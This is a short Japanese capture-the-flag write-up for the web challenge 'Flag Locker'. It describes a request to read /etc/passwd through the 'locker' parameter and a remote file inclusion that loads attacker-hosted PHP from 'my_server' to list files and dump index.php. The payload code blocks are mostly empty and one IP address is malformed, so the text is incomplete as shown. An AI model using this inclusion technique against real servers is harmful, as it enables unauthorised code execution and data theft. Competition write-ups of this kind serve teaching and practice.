# ▼▼▼Flag Locker(Web:200)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
**【機能】**
下記の2つのリクエストで表示内容が変わる
`104.103.5.112.91:1234/?locker=why`
`103.5.112.91:1234/?locker=privacy`
---
**【脆弱性を探す】**
`http://103.5.112.91:1234/?locker=///etc/passwd`
↓
応答が返ってこない。どうやら/etc/passwdが検知されている？
---
次は、URLを挿入してみる。
↓
`http://103.5.112.91:1234/?locker=http://my_server/`
↓
my_serverに、`http://my_server/_locker.php`と、後ろに`_locker.php`が付与されてアクセスが来ることが確認できた。
---
**【exploit】**
my_serverに`_locker.php`というファイル名で下記を置いておく。
```');?>```
---
下記を送信する
`http://103.5.112.91:1234/?locker=http://my_server/`
↓
```index.phpindiaflag.gifprivacy_locker.phpwhy_locker.php```
---
index.phpのソースコードを取得しに行く
↓
```');?>```
---
下記を送信する
`http://103.5.112.91:1234/?locker=http://my_server/`
↓下記のように、index.phpの ソースコードが得られる。
```
```
↓
`xiomara{s0metim3s_fl@g_c@n_b3_d3cl@red_@s_v@riable}`